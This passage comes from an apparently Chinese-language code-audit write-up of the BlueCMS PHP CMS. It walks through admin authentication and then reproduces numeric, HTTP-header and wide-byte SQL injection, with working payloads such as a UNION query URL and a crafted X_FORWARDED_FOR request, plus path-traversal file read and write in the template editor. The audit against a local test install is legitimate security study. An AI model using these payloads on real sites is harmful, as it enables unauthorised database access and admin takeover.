class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">'act'</span>]) ? trim(<span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">'act'</span>]) : <span class="hljs-string">''</span>;<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$act</span>==<span class="hljs-string">''</span>){<br> <span class="hljs-comment">// 显示后台页面</span><br> <span class="hljs-variable">$smarty</span>->display(<span class="hljs-string">'index.htm'</span>);<br>}<br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$act</span>==<span class="hljs-string">'top'</span>)<br>{<br><span class="hljs-comment">// 显示顶部</span><br><span class="hljs-variable">$smarty</span>->display(<span class="hljs-string">'top.htm'</span>);<br>}<br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$act</span>==<span class="hljs-string">'menu'</span>){<br> <span class="hljs-comment">// 显示菜单</span><br> <span class="hljs-variable">$smarty</span>->display(<span class="hljs-string">'menu.htm'</span>);<br>}<br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$act</span> == <span class="hljs-string">'main'</span>){<br> <span class="hljs-comment">// 显示主体页面</span><br> <span class="hljs-variable">$smarty</span>->display(<span class="hljs-string">'main.htm'</span>);<br>}<br></code></pre></td></tr></table></figure><blockquote><p>admin/templates/default/index.htm</p></blockquote><p>关注 index.htm 可以知道后台是通过frame来实现的,这样后台程序的所有功能都可以依附在index.php下实现,在早期的CMS中,基本都是这种实现方案</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag"><<span class="hljs-name">frameset</span> <span class="hljs-attr">rows</span>=<span class="hljs-string">"76,*"</span> <span class="hljs-attr">frameborder</span>=<span class="hljs-string">"no"</span> <span class="hljs-attr">border</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">framespacing</span>=<span class="hljs-string">"0"</span> ></span><br> <span class="hljs-tag"><<span class="hljs-name">frame</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"index.php?act=top"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"topFrame"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"topFrame"</span> <span class="hljs-attr">scrolling</span>=<span class="hljs-string">"no"</span> <span class="hljs-attr">noresize</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">frameset</span> <span class="hljs-attr">cols</span>=<span class="hljs-string">"176,*"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"bodyFrame"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"bodyFrame"</span> <span class="hljs-attr">frameborder</span>=<span class="hljs-string">"no"</span> <span class="hljs-attr">border</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">framespacing</span>=<span class="hljs-string">"0"</span> ></span><br> <span class="hljs-tag"><<span class="hljs-name">frame</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"index.php?act=menu"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"menuFrame"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"menuFrame"</span> <span class="hljs-attr">scrolling</span>=<span class="hljs-string">"yes"</span> <span class="hljs-attr">noresize</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">frame</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"index.php?act=main"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"mainFrame"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"mainFrame"</span> <span class="hljs-attr">scrolling</span>=<span class="hljs-string">"auto"</span> <span class="hljs-attr">noresize</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">frameset</span>></span><br><span class="hljs-tag"></<span class="hljs-name">frameset</span>></span><br></code></pre></td></tr></table></figure><h3 id="common-inc-php处理细节"><a href="#common-inc-php处理细节" class="headerlink" title="common.inc.php处理细节"></a>common.inc.php处理细节</h3><blockquote><p>admin/include/common.inc.php</p></blockquote><p>该文件内容和 include/common.inc.php 差不多,不同之处在于多了管理员的认证,如果看到加载了 include/common.inc.php 的文件,那么该文件基本为后台访问页面</p><ul><li>可以看到 BlueCMS 主要通过session的方法认证用户登陆状态,如果 <code>$_SESSION['admin_id']</code> 存在则通过验证并刷新用户登陆记录</li><li>当前用户 session 信息为空时则会判断用户的cookie信息,如果设置了cookie信息则判断cookie的账号密码是否能登陆</li><li>如果未设置cookie信息,则跳转到<code>login.php?act=login</code>页面重新登陆</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 加载一些基础文件</span><br><span class="hljs-keyword">require_once</span>(……)<br><span class="hljs-comment">// 外部数据过滤</span><br>deep_addslashes()<br><span class="hljs-comment">// 数据库链接</span><br><span class="hljs-keyword">require_once</span>(BLUE_ROOT.<span class="hljs-string">'include/mysql.class.php'</span>);<br><span class="hljs-variable">$db</span> = <span class="hljs-keyword">new</span> mysql(<span class="hljs-variable">$dbhost</span>,<span class="hljs-variable">$dbuser</span>,<span class="hljs-variable">$dbpass</span>,<span class="hljs-variable">$dbname</span>);<br><span class="hljs-comment">// 加载smarty模板引擎</span><br><span class="hljs-keyword">require</span>(BLUE_ROOT.<span class="hljs-string">'include/smarty/Smarty.class.php'</span>);<br><span class="hljs-variable">$smarty</span> = <span class="hljs-keyword">new</span> Smarty();<br><span class="hljs-comment">// 管理员身份认证</span><br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'admin_id'</span>]) && <span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">'act'</span>] != <span class="hljs-string">'login'</span> && <span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">'act'</span>] != <span class="hljs-string">'do_login'</span> && <span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">'act'</span>] != <span class="hljs-string">'logout'</span>){<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-string">'Blue'</span>][<span class="hljs-string">'admin_id'</span>] && <span class="hljs-variable">$_COOKIE</span>[<span class="hljs-string">'Blue'</span>][<span class="hljs-string">'admin_name'</span>] && <span class="hljs-variable">$_COOKIE</span>[<span class="hljs-string">'Blue'</span>][<span class="hljs-string">'admin_pwd'</span>]){<br> <span class="hljs-keyword">if</span>(check_cookie(<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-string">'Blue'</span>][<span class="hljs-string">'admin_name'</span>], <span class="hljs-variable">$_COOKIE</span>[<span class="hljs-string">'Blue'</span>][<span class="hljs-string">'admin_pwd'</span>])){<br> update_admin_info(<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-string">'Blue'</span>][<span class="hljs-string">'admin_name'</span>]);<br> }<br> }<span class="hljs-keyword">else</span>{<br> setcookie(<span class="hljs-string">"Blue[admin_id]"</span>, <span class="hljs-string">''</span>, <span class="hljs-number">1</span>, <span class="hljs-variable">$cookiepath</span>, <span class="hljs-variable">$cookiedomain</span>);<br> setcookie(<span class="hljs-string">"Blue[admin_name]"</span>, <span class="hljs-string">''</span>, <span class="hljs-number">1</span>, <span class="hljs-variable">$cookiepath</span>, <span class="hljs-variable">$cookiedomain</span>);<br> setcookie(<span class="hljs-string">"Blue[admin_pwd]"</span>, <span class="hljs-string">''</span>, <span class="hljs-number">1</span>, <span class="hljs-variable">$cookiepath</span>, <span class="hljs-variable">$cookiedomain</span>);<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">'<script type="text/javascript">top.location="login.php?act=login";</script>'</span>;<br> <span class="hljs-keyword">exit</span>();<br> }<br>}<span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'admin_id'</span>]){<br> update_admin_info(<span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'admin_name'</span>]);<br>}<br></code></pre></td></tr></table></figure><h1 id="0x03-漏洞审计"><a href="#0x03-漏洞审计" class="headerlink" title="0x03 漏洞审计"></a>0x03 漏洞审计</h1><h2 id="sql注入漏洞"><a href="#sql注入漏洞" class="headerlink" title="sql注入漏洞"></a>sql注入漏洞</h2><p>通过BlueCMS我们可以看到各种常见的漏洞写法</p><h3 id="数字型注入"><a href="#数字型注入" class="headerlink" title="数字型注入"></a>数字型注入</h3><blockquote><p>ad_js.php</p></blockquote><ul><li>ad_js.php 加载了common.inc.php,会对GPC数据做 addslashes() 过滤</li><li><code>$ad_id</code> 通过 $_GET 方式获取,会自动经过一层过滤,最终传入到sql语句执行</li><li>在执行的sql语句中发现 <code>$ad_id</code> 没有引号包裹,而且没有做数字型判断,那么这里很有可能存在数字型sql注入</li><li>sql查询结果最后是用注释的方式放在页面上</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span> dirname(<span class="hljs-keyword">__FILE__</span>) . <span class="hljs-string">'/include/common.inc.php'</span>;<br><span class="hljs-variable">$ad_id</span> = !<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'ad_id'</span>]) ? trim(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'ad_id'</span>]) : <span class="hljs-string">''</span>;<br><span class="hljs-variable">$ad</span> = <span class="hljs-variable">$db</span>->getone(<span class="hljs-string">"SELECT * FROM "</span>.table(<span class="hljs-string">'ad'</span>).<span class="hljs-string">" WHERE ad_id ="</span>.<span class="hljs-variable">$ad_id</span>);<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$ad</span>[<span class="hljs-string">'time_set'</span>] == <span class="hljs-number">0</span>)<br>{<br><span class="hljs-variable">$ad_content</span> = <span class="hljs-variable">$ad</span>[<span class="hljs-string">'content'</span>];<br>}<br><span class="hljs-keyword">echo</span> <span class="hljs-string">"<!--\r\ndocument.write(\""</span>.<span class="hljs-variable">$ad_content</span>.<span class="hljs-string">"\");\r\n-->\r\n"</span>;<br></code></pre></td></tr></table></figure><p>复现漏洞时我是想利用报错注入快一点,但没有成功,奇怪,下面用union注入复现:</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">http</span>://bluecms.test:<span class="hljs-number">8888</span>/ad_js.php?ad_id=<span class="hljs-number">0</span> union select <span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>,<span class="hljs-number">6</span>,version()--+<br></code></pre></td></tr></table></figure><img src="img/blueCMS/image-20210806144015218.png" alt="image-20210806144015218" style="zoom:50%;" /><h3 id="SERVER-的突破"><a href="#SERVER-的突破" class="headerlink" title="$_SERVER 的突破"></a>$_SERVER 的突破</h3><p>上面知道只对GPC数据做了全局过滤,还有一个 <code>$_SERVER</code>是没有过滤的,其实 <code>$_SERVER</code> 也是可以传入外部可控数据的</p><blockquote><p>guest_book.php</p></blockquote><ul><li>guest_book.php 是一个处理用户留言功能的模块,但用户发送留言时,会同时把用户留言的ip地址一起放到数据库中</li><li>其中 <code>$online_ip</code> 来自 common.fun.php 中 getip() 函数</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require</span> dirname(<span class="hljs-keyword">__FILE__</span>) . <span class="hljs-string">'/include/common.inc.php'</span>;<br><span class="hljs-keyword">if</span> (<span class="hljs-variable">$act</span> == <span class="hljs-string">'list'</span>){<br> ……<br>}<span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$act</span> == <span class="hljs-string">'send'</span>){<br> <span class="hljs-variable">$sql</span> = <span class="hljs-string">"INSERT INTO "</span> . table(<span class="hljs-string">'guest_book'</span>) . <span class="hljs-string">" (id, rid, user_id, add_time, ip, content) </span><br><span class="hljs-string">VALUES ('', '<span class="hljs-subst">$rid</span>', '<span class="hljs-subst">$user_id</span>', '<span class="hljs-subst">$timestamp</span>', '<span class="hljs-subst">$online_ip</span>', '<span class="hljs-subst">$content</span>')"</span>;<br><span class="hljs-variable">$db</span>->query(<span class="hljs-variable">$sql</span>);<br>}<br></code></pre></td></tr></table></figure><blockquote><p>common.fun.php</p></blockquote><ul><li>getip() 首先会在<code>HTTP_</code>开头的环境变量寻找ip,<code>HTTP_</code>开头的变量是可控的,来自请求头</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getip</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-keyword">if</span> (getenv(<span class="hljs-string">'HTTP_CLIENT_IP'</span>))<br>{<br><span class="hljs-variable">$ip</span> = getenv(<span class="hljs-string">'HTTP_CLIENT_IP'</span>); <br>}<br><span class="hljs-keyword">elseif</span> (getenv(<span class="hljs-string">'HTTP_X_FORWARDED_FOR'</span>)) <br>{<br><span class="hljs-variable">$ip</span> = getenv(<span class="hljs-string">'HTTP_X_FORWARDED_FOR'</span>);<br>}<br>……<br> <span class="hljs-keyword">else</span><br>{ <br><span class="hljs-variable">$ip</span> = <span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">'REMOTE_ADDR'</span>];<br>}<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$ip</span>;<br>}<br></code></pre></td></tr></table></figure><p>漏洞复现:</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/guest_book.php</span> <span class="hljs-meta">HTTP/1.1</span><br><span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>bluecms:8888<br><span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0<br><span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br><span class="hljs-attribute">Accept-Language</span><span class="hljs-punctuation">: </span>zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2<br><span class="hljs-attribute">Accept-Encoding</span><span class="hljs-punctuation">: </span>gzip, deflate<br><span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded<br>X_FORWARDED_FOR: 192.168.44.1',user())#<br><span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>close<br><span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>PHPSESSID=8d9d7ed9da5a96ac9b0093dceed684f9<br><span class="hljs-attribute">Upgrade-Insecure-Requests</span><span class="hljs-punctuation">: </span>1<br><span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>37<br><br><span class="dts">content=hello<span class="hljs-variable">&act</span>=send<span class="hljs-variable">&page_id</span>=<span class="hljs-number">1</span><span class="hljs-variable">&rid</span>=</span><br></code></pre></td></tr></table></figure><p>效果:</p><img src="img/blueCMS/image-20210607182605405.png" alt="image-20210607182605405" style="zoom: 33%;" /><h3 id="宽字节注入"><a href="#宽字节注入" class="headerlink" title="宽字节注入"></a>宽字节注入</h3><p>上面有提到这一点,因为程序在数据库链接处设置了GBK编码,利用宽字节注入可以绕过程序过滤,所以BlueCMS的sql注入基本都有存在,下面就找一个地方验证一下</p><blockquote><p>admin/login.php</p></blockquote><ul><li>admin/login.php 是后台管理员登陆页面,如果这里存在sql注入常见的利用方式就是注入万能密码</li><li>可以看到后台验证验证用户是否登陆的依据:具有非空<code>$_SESSION['admin_id']</code>值</li><li>$admin_name 和 $admin_pwd 通过post获取,post数据会通过addslashs()函数过滤。验证的关键函数为<strong>check_admin()</strong></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>) . <span class="hljs-string">'/include/common.inc.php'</span>);<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$act</span> == <span class="hljs-string">'login'</span>){<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'admin_id'</span>]){<br> showmsg(<span class="hljs-string">'您已登录,不用再次登录'</span>, <span class="hljs-string">'index.php'</span>);<br> }<br> ……<br>}<span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$act</span> == <span class="hljs-string">'do_login'</span>){<br> <span class="hljs-variable">$admin_name</span> = <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'admin_name'</span>]) ? trim(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'admin_name'</span>]) : <span class="hljs-string">''</span>;<br><span class="hljs-variable">$admin_pwd</span> = <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'admin_pwd'</span>]) ? trim(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'admin_pwd'</span>]) : <span class="hljs-string">''</span>;<br><span class="hljs-keyword">if</span>(check_admin(<span class="hljs-variable">$admin_name</span>, <span class="hljs-variable">$admin_pwd</span>)){<br> update_admin_info(<span class="hljs-variable">$admin_name</span>);<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$remember</span> == <span class="hljs-number">1</span>){<br> setcookie(<span class="hljs-string">'Blue[admin_id]'</span>, <span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'admin_id'</span>], time()+<span class="hljs-number">86400</span>);<br> setcookie(<span class="hljs-string">'Blue[admin_name]'</span>, <span class="hljs-variable">$admin_name</span>, time()+<span class="hljs-number">86400</span>);<br>setcookie(<span class="hljs-string">'Blue[admin_pwd]'</span>, md5(md5(<span class="hljs-variable">$admin_pwd</span>).<span class="hljs-variable">$_CFG</span>[<span class="hljs-string">'cookie_hash'</span>]), time()+<span class="hljs-number">86400</span>);<br> }<br> }<span class="hljs-keyword">else</span>{<br> showmsg(<span class="hljs-string">'您输入的用户名和密码有误'</span>);<br> }<br>}<br></code></pre></td></tr></table></figure><blockquote><p>admin/include/common.fun.php</p></blockquote><p>判断的依据是同时查询用户名和密码,查询到结果则为真</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">check_admin</span>(<span class="hljs-params"><span class="hljs-variable">$name</span>, <span class="hljs-variable">$pwd</span></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-keyword">global</span> <span class="hljs-variable">$db</span>;<br><span class="hljs-variable">$row</span> = <span class="hljs-variable">$db</span>->getone(<span class="hljs-string">"SELECT COUNT(*) AS num FROM "</span>.table(<span class="hljs-string">'admin'</span>).<span class="hljs-string">" WHERE admin_name='<span class="hljs-subst">$name</span>' and pwd = md5('<span class="hljs-subst">$pwd</span>')"</span>);<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$row</span>[<span class="hljs-string">'num'</span>] > <span class="hljs-number">0</span>)<br> {<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;<br> }<br>}<br></code></pre></td></tr></table></figure><p>这里我们的宽字节利用不就来了,注入永真的sql语句,我们就绕过了前台的限制</p><p>注意浏览器会自动对post数据url编码,我们注入的<code>%</code>会被编码导致注入宽字节失效,最好通过抓包取消url编码</p><img src="img/blueCMS/image-20210607190018647.png" alt="image-20210607190018647" style="zoom:50%;" /><h2 id="任意文件读取-写入"><a href="#任意文件读取-写入" class="headerlink" title="任意文件读取/写入"></a>任意文件读取/写入</h2><p>在 BlueCMS 后台处有一个编辑模板的功能,对于这种功能,安全小伙应该保持敏感,这里会出现读取和写入的操作,很有可能就存在任意文件读取/写入漏洞</p><img src="img/blueCMS/image-20210806165617800.png" alt="image-20210806165617800" style="zoom:50%;" /><img src="img/blueCMS/image-20210806165645739.png" alt="image-20210806165645739" style="zoom: 33%;" /><h3 id="审计细节"><a href="#审计细节" class="headerlink" title="审计细节"></a>审计细节</h3><blockquote><p>admin/tpl_manage.php</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>).<span class="hljs-string">'/include/common.inc.php'</span>);<br><span class="hljs-variable">$act</span> = !<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">'act'</span>]) ? trim(<span class="hljs-variable">$_REQUEST</span>[<span class="hljs-string">'act'</span>]) : <span class="hljs-string">'list'</span>;<br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$act</span> == <span class="hljs-string">'list'</span>){<br> <span class="hljs-variable">$dir</span> = BLUE_ROOT.<span class="hljs-string">'templates/default'</span>;<br> <span class="hljs-comment">// 列出$dir下的文件</span><br>……<br>}<br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$act</span> == <span class="hljs-string">'edit'</span>){<br> <span class="hljs-variable">$file</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'tpl_name'</span>];<br><span class="hljs-keyword">if</span>(!<span class="hljs-variable">$handle</span> = @fopen(BLUE_ROOT.<span class="hljs-string">'templates/default/'</span>.<span class="hljs-variable">$file</span>, <span class="hljs-string">'rb'</span>)){<br>showmsg(<span class="hljs-string">'打开目标模板文件失败'</span>);<br>}<br><span class="hljs-variable">$tpl</span>[<span class="hljs-string">'content'</span>] = fread(<span class="hljs-variable">$handle</span>, filesize(BLUE_ROOT.<span class="hljs-string">'templates/default/'</span>.<span class="hljs-variable">$file</span>));<br><span class="hljs-variable">$tpl</span>[<span class="hljs-string">'content'</span>] = htmlentities(<span class="hljs-variable">$tpl</span>[<span class="hljs-string">'content'</span>], ENT_QUOTES, GB2312);<br>fclose(<span class="hljs-variable">$handle</span>);<br><span class="hljs-variable">$tpl</span>[<span class="hljs-string">'name'</span>] = <span class="hljs-variable">$file</span>;<br>template_assign(<span class="hljs-keyword">array</span>(<span class="hljs-string">'current_act'</span>, <span class="hljs-string">'tpl'</span>), <span class="hljs-keyword">array</span>(<span class="hljs-string">'编辑模板'</span>, <span class="hljs-variable">$tpl</span>));<br><span class="hljs-variable">$smarty</span>->display(<span class="hljs-string">'tpl_info.htm'</span>);<br>}<br><span class="hljs-keyword">elseif</span>(<span class="hljs-variable">$act</span> == <span class="hljs-string">'do_edit'</span>){<br><span class="hljs-variable">$tpl_name</span> = !<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'tpl_name'</span>]) ? trim(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'tpl_name'</span>]) : <span class="hljs-string">''</span>;<br> <span class="hljs-variable">$tpl_content</span> = !<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'tpl_content'</span>]) ? deep_stripslashes(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'tpl_content'</span>]) : <span class="hljs-string">''</span>;<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">empty</span>(<span class="hljs-variable">$tpl_name</span>)){<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;<br> }<br> <span class="hljs-variable">$tpl</span> = BLUE_ROOT.<span class="hljs-string">'templates/default/'</span>.<span class="hljs-variable">$tpl_name</span>;<br> <span class="hljs-keyword">if</span>(!<span class="hljs-variable">$handle</span> = @fopen(<span class="hljs-variable">$tpl</span>, <span class="hljs-string">'wb'</span>)){<br>showmsg(<span class="hljs-string">"打开目标模版文件 <span class="hljs-subst">$tpl</span> 失败"</span>);<br> }<br> <span class="hljs-keyword">if</span>(fwrite(<span class="hljs-variable">$handle</span>, <span class="hljs-variable">$tpl_content</span>) === <span class="hljs-literal">false</span>){<br> showmsg(<span class="hljs-string">'写入目标 $tpl 失败'</span>);<br> }<br> fclose(<span class="hljs-variable">$handle</span>);<br> showmsg(<span class="hljs-string">'编辑模板成功'</span>, <span class="hljs-string">'tpl_manage.php'</span>);<br>}<br></code></pre></td></tr></table></figure><ul><li><code>$act</code> 可控,用于指定操作,具有的操作为<strong>list, edit 和do_edit</strong></li><li>默认操作 <strong>list</strong>,列出指定目录下的文件</li><li>操作 <strong>edit</strong> 用于读取指定目录下的<code>$file</code>,该参数可控,通过 <code>../</code> 可以实现目录穿越,这里就有任意文件读取漏洞</li><li>操作 do_edit 将 <code>$tpl_content</code> 写入到 <code>$tpl_name</code> 文件中,两个参数都可控,不过写入的内容 <code>$tpl_content</code> 会通过 deep_stripslashes() 过滤,同时还要注意 <code>$tpl_content</code> 是通过 POST 方式传入的,还会经过 addslashes() 处理</li></ul><blockquote><p>include/common.fun.php</p></blockquote><p>查看 deep_stripslashes() ,其实就是使用 stripslashes() 来消除 addslashes() 的影响,所以这里我们输入的内容完全可控,这里将同时存在任意文件读取和写入的漏洞</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deep_stripslashes</span>(<span class="hljs-params"><span class="hljs-variable">$str</span></span>)</span><br><span class="hljs-function"></span>{<br> <span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$str</span>))<br> {<br> <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$str</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$key</span> => <span class="hljs-variable">$val</span>)<br> {<br> <span class="hljs-variable">$str</span>[<span class="hljs-variable">$key</span>] = deep_stripslashes(<span class="hljs-variable">$val</span>);<br> }<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-variable">$str</span> = stripslashes(<span class="hljs-variable">$str</span>);<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$str</span>;<br>}<br></code></pre></td></tr></table></figure><h3 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h3><p>利用目录穿越读取任意文件</p><img src="img/blueCMS/image-20210809180020442.png" alt="image-20210809180020442" style="zoom:50%;" 